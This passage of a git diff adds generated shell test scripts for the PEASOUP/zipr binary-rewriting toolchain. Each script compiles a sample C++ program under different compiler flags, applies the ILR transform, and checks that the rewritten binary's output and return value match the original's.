+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-O.no_pic.-fomit-frame-pointer.no_debug.-m32.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-O.no_pic.-fomit-frame-pointer.no_debug.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..ca22a2c0f4e60fa140245f99758f4ad732d8d057
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-O.no_pic.-fomit-frame-pointer.no_debug.-m32.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="  -O   -fomit-frame-pointer   -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="  -O   -fomit-frame-pointer   -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-O.no_pic.-fomit-frame-pointer.no_debug.-m64.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-O.no_pic.-fomit-frame-pointer.no_debug.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..b31dfdc76b9f448a3a74050a9c19d5589f1125f0
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-O.no_pic.-fomit-frame-pointer.no_debug.-m64.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="  -O   -fomit-frame-pointer   -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="  -O   -fomit-frame-pointer   -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-O.no_pic.no_omit-fp.-g.-m32.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-O.no_pic.no_omit-fp.-g.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..59c7e5d6d1d56aaf67890d47986e1de4d63bd421
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-O.no_pic.no_omit-fp.-g.-m32.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="  -O     -g -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="  -O     -g -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-O.no_pic.no_omit-fp.-g.-m64.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-O.no_pic.no_omit-fp.-g.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..385bb7d86384d90548c6295b48a2421eb6d1e3d7
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-O.no_pic.no_omit-fp.-g.-m64.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="  -O     -g -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="  -O     -g -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-O.no_pic.no_omit-fp.no_debug.-m32.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-O.no_pic.no_omit-fp.no_debug.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..5f335d2890c2c5ca4aec2184e791fcb7814af507
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-O.no_pic.no_omit-fp.no_debug.-m32.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="  -O       -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="  -O       -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-O.no_pic.no_omit-fp.no_debug.-m64.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-O.no_pic.no_omit-fp.no_debug.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..2f21b8a4ffc9b0d105ecf8208470d5e9209b5f44
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-O.no_pic.no_omit-fp.no_debug.-m64.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="  -O       -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="  -O       -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
